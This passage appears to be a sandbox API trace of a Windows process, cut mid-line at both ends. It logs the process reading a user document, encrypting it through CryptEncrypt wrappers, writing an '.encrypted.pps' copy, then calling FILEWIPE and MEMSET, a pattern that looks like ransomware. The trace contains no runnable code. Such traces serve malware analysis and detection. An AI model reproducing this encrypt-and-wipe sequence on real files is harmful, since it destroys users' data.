wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.355] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gifhucqicytovjewuyw")) returned 0x10 [0024.355] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\ACt2aRGtYlaHCFWx Ti2.encrypted.pps" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gifhucqicytovjewuyw\\act2argtylahcfwx ti2.encrypted.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.356] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.356] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.356] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.356] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.357] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.357] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x19a9, lpOverlapped=0x0) returned 1 [0024.358] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.359] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.359] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.359] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.359] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.360] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.360] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.360] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.360] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.360] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.360] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.360] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.361] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0024.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417aca0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0024.362] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0024.362] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064b60, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b60*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.362] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.363] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.363] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.363] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.363] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.363] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.364] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.364] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x19a9, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x19b0) returned 1 [0024.364] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.364] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.364] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.364] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.364] CharLowerBuffW (in: lpsz="byte[6577]", cchLength=0xa | out: lpsz="byte[6577]") returned 0xa [0024.364] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.364] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.364] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.364] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.364] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.364] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41942d0*, pdwDataLen=0xe8f3dfdf68*=0x19a9, dwBufLen=0x19b0 | out: pbData=0xe8f41942d0*, pdwDataLen=0xe8f3dfdf68*=0x19b0) returned 1 [0024.364] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.364] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.364] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.364] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.364] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.364] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.364] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.365] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.365] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.365] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.365] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.365] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.365] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.365] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.365] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.365] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.365] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.365] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.365] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.365] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.365] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.366] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.366] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.366] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.366] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.366] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.366] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.366] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.366] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.366] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.366] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.366] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.366] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.367] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.367] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.367] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.367] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.367] CryptReleaseContext (hProv=0xe8f406a550, dwFlags=0x0) returned 1 [0024.367] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.367] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.367] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.367] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.367] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.367] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.367] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.368] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.368] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.369] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.369] CharLowerBuffW (in: lpsz="byte[6569]", cchLength=0xa | out: lpsz="byte[6569]") returned 0xa [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.369] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.369] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.369] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.369] PeekMessageW (in: 